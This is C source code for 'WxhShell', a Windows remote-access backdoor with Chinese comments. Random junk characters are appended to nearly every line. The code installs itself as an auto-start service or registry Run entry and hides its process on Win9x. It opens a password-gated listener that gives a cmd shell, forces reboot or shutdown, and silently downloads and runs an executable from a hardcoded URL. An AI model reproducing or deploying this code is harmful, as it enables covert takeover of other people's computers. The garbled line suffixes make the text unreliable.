    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5(MWgC1  
    if(Boot(SHUTDOWN)) K0]'v>AWr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fHf+!  
    else { v,RLN`CID  
    closesocket(wsh); (FMYR8H*(  
    ExitThread(0); +[r%y,k  
    } _]tR1T5e  
    break; F|V_i C+  
    } g\ @nA4  
  // 获取shell 0|{U"\  
  case 's': { 'N5qX>Ob  
    CmdShell(wsh); W.\HfJ74  
    closesocket(wsh); P58U8MEG  
    ExitThread(0); X3]E8)645N  
    break; !{s $V2_  
  } svyC(m)'  
  // 退出 {H $\,  
  case 'x': { qPE(Lt1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1elcP`N1  
    CloseIt(wsh); wXZ.D}d  
    break; )dF(5,y)  
    } K;6K!6J:[  
  // 离开 'QT(TF>  
  case 'q': { <l wI|<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r=L9x/r  
    closesocket(wsh); < q; ]  
    WSACleanup(); 83i%3[L  
    exit(1); s ^V8FH  
    break; `y YgL@Zt  
        } a2=wJhk  
  } :1Fm~'  
  } h%=b"x  
lBG* P>;  
  // 提示信息 >j`*-(`2fa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i6`8yw  
} sWavxh8A  
  } n+Ag |.,|  
Ac7`nvI=  
  return; 8!UZ..  
} ljt1:@SN(  
p Hg8(ru|  
// shell模块句柄 ['R=@.  
int CmdShell(SOCKET sock) lC_zSmT  
{ W^=89I4]  
STARTUPINFO si; Uw&+zJ  
ZeroMemory(&si,sizeof(si)); r`B+ KQ4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c(Ha"tBJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LWQ BGiJj  
PROCESS_INFORMATION ProcessInfo; TS[Z<m  
char cmdline[]="cmd"; X!2|_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .9^;? Ts  
  return 0; FwW%@Y  
} @nc!(P7_  
_-!6@^+  
// 自身启动模式 (QRl -| +  
int StartFromService(void) .ERO*Tj  
{ 6op\g].P  
typedef struct YD+C1*c!  
{ s lI)"+6  
  DWORD ExitStatus; hPk+vvXtK  
  DWORD PebBaseAddress; =VY4y]V  
  DWORD AffinityMask; %@xYg{  
  DWORD BasePriority; F Q k;  
  ULONG UniqueProcessId; @2$8o]et  
  ULONG InheritedFromUniqueProcessId; M^[ jA](a  
}   PROCESS_BASIC_INFORMATION; g8x8u|  
'P Yl%2  
PROCNTQSIP NtQueryInformationProcess; ^CE:?>a$  
#-f^;=7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 785iY865  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0Gs]>B4r/  
#[xNE C)  
  HANDLE             hProcess; $I/p6  
  PROCESS_BASIC_INFORMATION pbi; p{,fWk  
U^YPL,m1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hb$q}1+y  
  if(NULL == hInst ) return 0; b;O+QRa  
e5/_Vga  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lz*2wGI9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n$?oZ *;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JQ1VCG  
0x & ^{P~  
  if (!NtQueryInformationProcess) return 0; "D/ fB%h`  
ie ,{C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k^]~NP  
  if(!hProcess) return 0; tp]|/cx4  
FV9RrI2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W9D)QIqbvW  
onlyvH4  
  CloseHandle(hProcess); 4<Y?#bm'  
=ht@7z8QM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xVe!  
if(hProcess==NULL) return 0; zN:752d^+r  
^v'Lu!\f  
HMODULE hMod; Cnr48ukq  
char procName[255]; s^ a`=kO  
unsigned long cbNeeded; O(d'8`8  
FN R& :  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3IkG*enI  
k?#6j1pn  
  CloseHandle(hProcess); *+z({S_Nv  
;:4puv+]  
if(strstr(procName,"services")) return 1; // 以服务启动 6xe |L  
<b\urtoJ  
  return 0; // 注册表启动 /$=^0v +  
} fm* Hk57  
]VME`]t`  
// 主模块 Qi61(lK  
int StartWxhshell(LPSTR lpCmdLine) =jN]ckn  
{ &)l:m.  
  SOCKET wsl; ||4Dtg K  
BOOL val=TRUE; ;D1IhDC  
  int port=0; K0\WN"ua;  
  struct sockaddr_in door; 1 W u  
M@\'Y$)Y{  
  if(wscfg.ws_autoins) Install(); 2&m7pcls  
kWd'gftQ  
port=atoi(lpCmdLine); -ZB"Yg$l  
z#4g,)ZX  
if(port<=0) port=wscfg.ws_port; R;o_*  
v`&Z.9!Tz^  
  WSADATA data; qAS^5|(b[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J (h>  
Nz;;X\GI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DtZm|~)a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pA'A<|)K0  
  door.sin_family = AF_INET; P]B#i1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qpl5n'qHUc  
  door.sin_port = htons(port); !UTJ) &  
"}! rM6 h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZAZCvN@5  
closesocket(wsl); ^ne8~ ;Q  
return 1; )a\h5nQI)  
} jGn^<T\  
C)j)j&  
  if(listen(wsl,2) == INVALID_SOCKET) { 3U)8P6Fz  
closesocket(wsl); >Il`AR;D  
return 1; l i-YkaP  
} 919g5f`  
  Wxhshell(wsl); gEP E9ew  
  WSACleanup(); ]aNnY?qW5  
i7V~LO:gq  
return 0; 3;NRW+  
Q8?D}h  
} >U?Bka!  
W1 Qc1T8  
// 以NT服务方式启动 M;qL)vf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Oq6n.:8g"  
{ fh#_Mj+y  
DWORD   status = 0; rzDJH:W{2  
  DWORD   specificError = 0xfffffff; AvZ) 1(  
BA,6f?ktXS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p'~5[JR:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G:`Jrh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  c^s>  
  serviceStatus.dwWin32ExitCode     = 0; \F~Cbj+'Nu  
  serviceStatus.dwServiceSpecificExitCode = 0; r%d 11[z  
  serviceStatus.dwCheckPoint       = 0; Q/)ok$A&  
  serviceStatus.dwWaitHint       = 0; OPW"AB J  
`aL|qyrq#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CDj Dhs  
  if (hServiceStatusHandle==0) return; acQN pT  
~aAJn IO  
status = GetLastError(); sdYj'e:N  
  if (status!=NO_ERROR) mthl?,I|  
{ z\>X[yNpA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1Uk~m  
    serviceStatus.dwCheckPoint       = 0; #J724`  
    serviceStatus.dwWaitHint       = 0; *Ne&SXg  
    serviceStatus.dwWin32ExitCode     = status; 8Ql'(5|T  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7CM03R[P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^!o}>ls['  
    return; n~u3  
  } @jSbMI  
e=sJMzm~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; < iI6@X>  
  serviceStatus.dwCheckPoint       = 0;  x9"4vp  
  serviceStatus.dwWaitHint       = 0; VHr7GAmU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P<!$A  
} W#I:j: p  
5!jNL~M  
// 处理NT服务事件,比如:启动、停止 QM_X2Ho  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wZ8 MhE  
{ DnsP7k.8T  
switch(fdwControl) OP`Jc$| 6  
{ Wk#h,p3  
case SERVICE_CONTROL_STOP: !{tiTA  
  serviceStatus.dwWin32ExitCode = 0; t tFY _F~S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m+2`"1IE[  
  serviceStatus.dwCheckPoint   = 0; dIpW!Pj^  
  serviceStatus.dwWaitHint     = 0; L'XdX\5  
  { D?yE$_3>c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k\sM;bCv7  
  } rp @  
  return; o.3YM.B#  
case SERVICE_CONTROL_PAUSE: 2FIR]@MQd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @D~+D@i$TW  
  break; h@;)dLo0z  
case SERVICE_CONTROL_CONTINUE: BBR" HMa4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (e>Rot0  
  break; \!JS7!+  
case SERVICE_CONTROL_INTERROGATE: \D U^idp#  
  break; "WbVCT'i  
}; zf3:<CRX5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Kn9*V  
} y (nsyA  
S1^nC tSF  
// 标准应用程序主函数 o4 %Vt} K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {(z(NgXG/  
{ uR:=V9O  
S6T!qH{6  
// 获取操作系统版本 3p3WDL7  
OsIsNt=GetOsVer(); (#bp`Kih  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HS\3)Ooj>  
wY3|#P CDV  
  // 从命令行安装 YWRE&MQ_  
  if(strpbrk(lpCmdLine,"iI")) Install(); #PslrA. E  
f(6UL31  
  // 下载执行文件 O}MZ-/z=o~  
if(wscfg.ws_downexe) { b H"}w$!>r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <r<Dmn|\a  
  WinExec(wscfg.ws_filenam,SW_HIDE); * {gxI<   
} J 0Hm)*  
qcTmsMpj  
if(!OsIsNt) { B6ed,($&  
// 如果时win9x,隐藏进程并且设置为注册表启动 @ )vy'qP d  
HideProc(); '<%Nw-  
StartWxhshell(lpCmdLine); !@pV)RUv7  
} df4sOqU  
else lI4J=8O0  
  if(StartFromService()) z1f^p7$M?  
  // 以服务方式启动 x2C/L  
  StartServiceCtrlDispatcher(DispatchTable); #9$V 08  
else QB/7/PW{H\  
  // 普通方式启动 3w/( /|0  
  StartWxhshell(lpCmdLine); [,<\RviI  
3>Q@r>c  
return 0; .-SF$U_P*a  
} /M^V 2=  
D3S+LV  
l:Dn3Q  
~$4]HDg  
=========================================== psIkG0 &  
cy)k<?,  
L$1K7<i.  
2{t)DUs  
YH[XRUa  
uxa=KM1H  
" +/y{^}b/  
T8$%9&j!UE  
#include <stdio.h> >|a\>UgC  
#include <string.h> atY *8I|  
#include <windows.h> uAu( +zV2  
#include <winsock2.h> Hp\Ddx >Jd  
#include <winsvc.h> T3PX gL)o  
#include <urlmon.h> ;>9OgO  
/M3y)K`^  
#pragma comment (lib, "Ws2_32.lib") +D :83h{  
#pragma comment (lib, "urlmon.lib") bh6d./  
v9%nau4  
#define MAX_USER   100 // 最大客户端连接数 QXdaMc+Ck  
#define BUF_SOCK   200 // sock buffer M^z=1YrMd  
#define KEY_BUFF   255 // 输入 buffer LZ~2=Y< U(  
WP5VcBC  
#define REBOOT     0   // 重启 j]pohxn$5  
#define SHUTDOWN   1   // 关机 /61by$E  
Hqvc7-c6  
#define DEF_PORT   5000 // 监听端口 yeh8z:5Z O  
NEA_Plt  
#define REG_LEN     16   // 注册表键长度 (%[Tk[  
#define SVC_LEN     80   // NT服务名长度 a3Y{lc#z}  
RCI4~q  
// 从dll定义API |~SE"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UqN{JG:#.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QhsMd- v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); On=u#DxQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U,PZMz`2j  
h$70H^r  
// wxhshell配置信息 =H[\%O~?b  
struct WSCFG { CoU3S,;*  
  int ws_port;         // 监听端口 k({2yc#RD&  
  char ws_passstr[REG_LEN]; // 口令 i;c'P}[K  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yx5J$!Ld  
  char ws_regname[REG_LEN]; // 注册表键名 UP\C"\  
  char ws_svcname[REG_LEN]; // 服务名 Yp*,Jp1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 & g:%*>7P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aqF+zPKs6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Va7c#P?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P+h6!=nD7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mj@31YW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9`B0fv Q&  
dIk' pA^d  
}; RdgVB G#Z1  
6B#('gxO  
// default Wxhshell configuration )u;JwFstX  
struct WSCFG wscfg={DEF_PORT, Q"%QQo}}  
    "xuhuanlingzhe", *(G&B\  
    1, q +R*Hi  
    "Wxhshell", Edw2W8  
    "Wxhshell", _#!U"hkH  
            "WxhShell Service", b6"}"bG  
    "Wrsky Windows CmdShell Service", 3?2<W EYr  
    "Please Input Your Password: ", zOB !(R  
  1, jv =EheD  
  "http://www.wrsky.com/wxhshell.exe", 2Z)4(,  
  "Wxhshell.exe" Ry z?v<)h  
    };  `?|Rc  
:Hk_8J  
// 消息定义模块 .n`( X#,*l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lz@$3(2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @RGDhwS47  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wK ?@.l)u  
char *msg_ws_ext="\n\rExit."; =q+R   
char *msg_ws_end="\n\rQuit."; WuM C^  
char *msg_ws_boot="\n\rReboot..."; t0Zk-/s  
char *msg_ws_poff="\n\rShutdown..."; X4wH/q^  
char *msg_ws_down="\n\rSave to "; _ 5"+Dv  
X&a:g  
char *msg_ws_err="\n\rErr!"; +@ MPQv  
char *msg_ws_ok="\n\rOK!"; R`#W wx>b  
IkDiT63]I  
char ExeFile[MAX_PATH]; "_< 9PM1t  
int nUser = 0; cJDd0(tD!  
HANDLE handles[MAX_USER]; JJ ?I>S N!  
int OsIsNt; 0(y:$  
(}smW_ `5  
SERVICE_STATUS       serviceStatus; mnjs(x<m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E!J=8C.:  
M:|8]y@  
// 函数声明 $6h*l T<  
int Install(void); pu9^e4B9  
int Uninstall(void); XF*.Jg]  
int DownloadFile(char *sURL, SOCKET wsh); FW..mD9)}  
int Boot(int flag); ^m!_ 2_q  
void HideProc(void); <*(^{a. O  
int GetOsVer(void); ST Z]8cw  
int Wxhshell(SOCKET wsl); y$b]7O  
void TalkWithClient(void *cs); 9b"MQ[B4#a  
int CmdShell(SOCKET sock); 0[T,O,y  
int StartFromService(void); tY+$$GSQj  
int StartWxhshell(LPSTR lpCmdLine); FhkkW W L  
]$A(9Pn"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ""% A'TZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !GwL,)0@^  
]< XR]FHx)  
// 数据结构和表定义 L',mKOej  
SERVICE_TABLE_ENTRY DispatchTable[] = &~~wX,6+  
{ CMW,slC_3  
{wscfg.ws_svcname, NTServiceMain}, t"vRc4mf  
{NULL, NULL} mi,&0xDe a  
}; Ps4 ZFX  
R>/ NE!q  
// 自我安装 vLT0ETHg6  
int Install(void) A+getdr  
{ x Q4%e[/  
  char svExeFile[MAX_PATH]; 7Nzbz3  
  HKEY key; J00VTb`  
  strcpy(svExeFile,ExeFile); [?k8}B)mHB  
hK|j6x f.o  
// 如果是win9x系统,修改注册表设为自启动 }ns-W3B'  
if(!OsIsNt) { ;# uZhd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U{@5*4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7zemr>sIh  
  RegCloseKey(key); @FO) 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NSQp< m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QDx$==Fo  
  RegCloseKey(key); /Ncm^b4  
  return 0; m ci/'b Xt  
    } r^Zg-|gr  
  } 3qL>-%):*  
} IZ/m4~  
else { c!K]J  
QXgE dsw  
// 如果是NT以上系统,安装为系统服务 ?a(L.3 E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ar9]"s+'  
if (schSCManager!=0) Ej ".axjT  
{ K%v1xZ  
  SC_HANDLE schService = CreateService 6 Orum/|h  
  ( %a+mk E  
  schSCManager, VHJM*&5  
  wscfg.ws_svcname, anMF-x4/*q  
  wscfg.ws_svcdisp, Eow_&#WW;P  
  SERVICE_ALL_ACCESS, Qv,"($n\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d?`ny#,GB  
  SERVICE_AUTO_START, aI^/X {d  
  SERVICE_ERROR_NORMAL, 0j"8@<  
  svExeFile, (0YZZ93  
  NULL, [Zei0O  
  NULL, [I!6PGx  
  NULL, jB{4\)  
  NULL, TJ q~)Bm  
  NULL 1cS}J:0P  
  ); &0 >Loja`^  
  if (schService!=0) .A sv%p[W  
  { 6KpHnSW  
  CloseServiceHandle(schService); Dn&D!B  
  CloseServiceHandle(schSCManager); V=:'SL*3|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -gSUjP  
  strcat(svExeFile,wscfg.ws_svcname); 35E_W>n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x=ul&|^7D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3)\8%Ox  
  RegCloseKey(key); 3s/H2f z  
  return 0; <B9C*M"4%  
    } Tb3J9q+ya  
  } <Utnz)  
  CloseServiceHandle(schSCManager); &|f@$ff  
} _?OW0x4  
} o.0ci+z@  
.C8PitS  
return 1;  GB$;n?  
} uV!^,,~  
6d_'4B  
// 自我卸载 T:5fc2Ngv  
int Uninstall(void) (M*FIX  
{ >-H {Z{VDd  
  HKEY key; `s\?w5[  
8 7D*-Gw  
if(!OsIsNt) { ;W>k@L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $GlWf  
  RegDeleteValue(key,wscfg.ws_regname); .zi_[  
  RegCloseKey(key); zT!drq:x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |&RU/a  
  RegDeleteValue(key,wscfg.ws_regname); KXx32 b,~  
  RegCloseKey(key); Q_[ 3`j l  
  return 0; 3AU;>D^5  
  } O8h%3&  
} xai*CY@cQ  
} eEuvl`&  
else { ;M)QwF1  
9I}-[|`u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wK?vPS  
if (schSCManager!=0) r>o63Q:  
{ Mu+0<>   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '.:z&gSqx0  
  if (schService!=0) vX/T3WV  
  { a{L d  
  if(DeleteService(schService)!=0) { I}1NB3>^  
  CloseServiceHandle(schService); '<"s \,  
  CloseServiceHandle(schSCManager); C{U?0!^  
  return 0; }H^+A77v  
  } E=nIRG|g  
  CloseServiceHandle(schService); bbE!qk;hEP  
  } U|jSa,}  
  CloseServiceHandle(schSCManager); hb}+A=A=+  
} aDU<wxnSvO  
} E|iQc8gr&  
'uBu6G  
return 1; h2G$@8t}I  
} 9Z4nAc  
4K\G16'$v  
// 从指定url下载文件 ~E17L]ete  
int DownloadFile(char *sURL, SOCKET wsh) 2LF/H$] o5  
{ LRL,m_gt  
  HRESULT hr; hgPa6Kd  
char seps[]= "/"; k>;`FFQU>  
char *token; F1*>y  
char *file; 6^]+[q}3  
char myURL[MAX_PATH]; y [}.yyye  
char myFILE[MAX_PATH]; =;Au<|  
Te"ioU?.  
strcpy(myURL,sURL); GeH#I5y  
  token=strtok(myURL,seps); v[1aW v:  
  while(token!=NULL) H\ F :95  
  { Y]'Z7<U}*E  
    file=token; 0X6YdW_2X  
  token=strtok(NULL,seps); ua3~iQj-  
  } ztcp/1jIvS  
>g1~CEMN#  
GetCurrentDirectory(MAX_PATH,myFILE); :CG`t?N9M  
strcat(myFILE, "\\"); |d{PA.@33  
strcat(myFILE, file); V?6a 8lJ  
  send(wsh,myFILE,strlen(myFILE),0); 75T%g!c#  
send(wsh,"...",3,0); Tp?7_}tRi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?:Uv[|S#>  
  if(hr==S_OK) L/$H"YOv  
return 0; mE+*)gb:Rd  
else @0Ic3C[rH6  
return 1; igCZ|Ru\  
?WGA?J %2  
} 'OITI TM  
s}vAS~~2L3  
// 系统电源模块 ?gA 8x  
int Boot(int flag) 8W*%aOi5+  
{ ]C!gQq2'a  
  HANDLE hToken; (S>C#A=E\  
  TOKEN_PRIVILEGES tkp; *& BQTZ6  
D+TD 95t  
  if(OsIsNt) { 03$mYS_?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )1?y 8_B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ejSji-Qd  
    tkp.PrivilegeCount = 1; |mZxfI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dj"F\j 1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;AG8C#_  
if(flag==REBOOT) { >FeX<L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3#LlDC_WC  
  return 0; Z@4Ar fl  
} Vr3Zu{&2  
else { lU8l}Ndz"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ROH|PKb7  
  return 0; \j$&DCv   
} 8SMxw~9$  
  } T^zXt?  
  else { sA+ }TNhq  
if(flag==REBOOT) { R)c?`:iUB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OAgniLv  
  return 0; )v'WWwXY>  
} k R?qb6  
else { Ki;*u_4{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Akq2 d;  
  return 0; )*u8/U  
} d-oMQGOklb  
} \;,_S+Fz8  
pIc#L>{E  
return 1; p?02C# p  
} 34f?6K1c  
$zUP?Gq!  
// win9x进程隐藏模块 Kew@&j~  
void HideProc(void) " s,1%Ltt  
{ z}.e]|b^H  
'6DBs8>1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !Lu2  
  if ( hKernel != NULL ) !Z1@}`V&;  
  { ncaT?~u j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0- B5`=yU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d9k0F OR1  
    FreeLibrary(hKernel); &5>Kl}7  
  } EfqX y>W  
T~-ycVc  
return; t$`r4Lb9/  
} 49eD1h3'X[  
 \__i  
// 获取操作系统版本 {4l8}w  
int GetOsVer(void) ~$c\JKH-  
{ \P[Y`LYL  
  OSVERSIONINFO winfo; C2!|OQ9A2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }H53~@WP>  
  GetVersionEx(&winfo); r-,%2y?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gM&{=WDG6  
  return 1; 8C40%q..  
  else -oGdk|Yn  
  return 0; {$oj.V 4  
} vz&|J   
_T60;ZI+^  
// 客户端句柄模块 a,,exi  
int Wxhshell(SOCKET wsl) u*eV@KK!  
{ "MeVE#O  
  SOCKET wsh; 0S"mVZ*P  
  struct sockaddr_in client; a .#)G[*  
  DWORD myID; I{|O "8  
Cp\6W[2+B  
  while(nUser<MAX_USER) . '6gZKXY  
{ 10Q ]67  
  int nSize=sizeof(client); p%ki>p )E|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PI {bmZ  
  if(wsh==INVALID_SOCKET) return 1; Xg6Jh``  
4Z3su^XR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2Ah#<k-gC;  
if(handles[nUser]==0) iqsCB%;5  
  closesocket(wsh); RH W]Z Pr<  
else U gat1Pz  
  nUser++; \  #F  
  } hgG9m[?K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G[PtkPSJ  
sI=xl  
  return 0; 'ms-*c&  
} !)f\%lb  
`7E;VL^Y1  
// 关闭 socket , >a&"V^k  
void CloseIt(SOCKET wsh) h,:m~0gmj  
{ LBeF&sb6  
closesocket(wsh); >58YjLXb  
nUser--; K-)] 1BG  
ExitThread(0); /8'NG6"H`  
} fUWG*o9  
,L2ZinU:  
// 客户端请求句柄 n` _{9R  
void TalkWithClient(void *cs) 5Pc;5 o0C  
{ XT%nbh&y  
g{)dP!}  
  SOCKET wsh=(SOCKET)cs; u {cW:  
  char pwd[SVC_LEN]; 5{WE~8$  
  char cmd[KEY_BUFF]; ^oz3F]4,g  
char chr[1]; 0],r0  
int i,j; Evq IcZ  
{ 'eC`04E  
  while (nUser < MAX_USER) { )u&|_&g{}J  
t.y2ff<[U  
if(wscfg.ws_passstr) { ,2oWWsC7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }0*@fO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )AtD}HEv  
  //ZeroMemory(pwd,KEY_BUFF); !PlEO 2at  
      i=0; p<FzJ   
  while(i<SVC_LEN) { nc29j_Id  
oCv.Ln1;Z  
  // 设置超时 |3b^~?S  
  fd_set FdRead; 3pROf#M  
  struct timeval TimeOut; &m7]v,&  
  FD_ZERO(&FdRead); wU36sCo  
  FD_SET(wsh,&FdRead); < NY^M!  
  TimeOut.tv_sec=8; p`dU2gV  
  TimeOut.tv_usec=0; Et_bH%0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y]_ruDIW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gs[uD5oo<  
k"%~"9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ta0|+IYk<  
  pwd=chr[0]; ,-LwtePJ0  
  if(chr[0]==0xd || chr[0]==0xa) { >2)OiQ`zg  
  pwd=0; UgSB>V<?  
  break; NNR`!Pty  
  } | j`@eF/"  
  i++; HWrO"b*tO  
    } &{hL&BLr  
mDABH@ R  
  // 如果是非法用户,关闭 socket M)+H{5bt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9&2O 9Nz6  
} [!uG1GJ>  
I*{ nP)^9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); On:il$MU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /t57!&  
D/xbF`  
while(1) { b5I I/Y  
(N6i4 g6  
  ZeroMemory(cmd,KEY_BUFF); 7kLz[N6Ll  
,4e:I.b  
      // 自动支持客户端 telnet标准   iC32nY?  
  j=0; wk D^r(hiH  
  while(j<KEY_BUFF) { iN\4gQ!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LgU_LcoM*  
  cmd[j]=chr[0]; rQs)O<jl  
  if(chr[0]==0xa || chr[0]==0xd) { iL&fgF"'  
  cmd[j]=0; O, wJR  
  break; -UEZ#Q  
  } )p0^zv{  
  j++; FaSf7D`C  
    } ]=I@1B;_m  
k68T`Ub\W6  
  // 下载文件 B\=8_z  
  if(strstr(cmd,"http://")) { ;(/ZO%h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W~; `WR;.  
  if(DownloadFile(cmd,wsh)) &K.d'$q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jy:Qlx`  
  else Q#X8u-~  
